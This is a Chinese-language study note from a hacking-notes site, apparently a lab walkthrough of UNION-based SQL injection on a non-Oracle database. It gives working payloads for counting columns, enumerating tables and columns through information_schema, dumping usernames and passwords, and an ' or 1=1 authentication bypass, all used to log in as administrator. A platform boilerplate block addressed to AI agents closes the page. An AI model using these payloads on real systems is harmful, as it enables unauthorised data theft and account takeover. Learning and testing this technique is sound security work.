> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/non-oracle-database-enumeration.md).

# 非 Oracle 数据库枚举

### SQL 注入攻击，在非 Oracle 数据库上列出数据库内容

#### 背景

* 易受攻击的参数： `category` 过滤器（通过 `WHERE`).
* 应用在响应中返回 SQL 结果，从而允许 `UNION`基于……的提取。

#### 目标

* 识别包含凭据的表名，发现其列，并提取 `username` / `密码` 配对并以……身份连接 `administrator`.

#### 方法（简要阶段）

1. **确定列数**/ 示例：

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* 逐步增加索引直到触发错误 → 知道……的列数 `UNION`.

2. **验证 `UNION SELECT`**/ 示例（2 列）：

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* 根据返回的 N 列进行调整（使用 `NULL` 用于无关列）。

3. \*\*列出表\*\*（非 Oracle 基础—— `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* 允许你列出 `public` 模式（与 Postgres/MySQL 兼容）。

4. 列出已识别表的列

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* 将 `users_arejzy` 替换为发现的表。

5. 提取内容（导出）

示例（已识别列 password/ qxbwwb，username/ lidnwi）：

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* 根据存在漏洞的请求调整列的顺序/类型（必要时使用 `CAST`/`CONCAT`/`NULL` ）。

6. 绕过 / 登录

* 一旦找回用户名 = administrator 和密码，通过认证页面连接。
* 或者，如果表无法直接访问，可使用认证绕过载荷（例如 username = ' or 1=1-- -），但为了证明，直接外传更好。

#### 预期结果

* 先列出表名和列名，然后导出凭据。
* 成功以 `administrator` 使用已泄露的凭据连接。

#### 影响

* 入侵账户（若为管理员则可完全提权），提取敏感信息，修改/删除数据，可能进行勒索。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.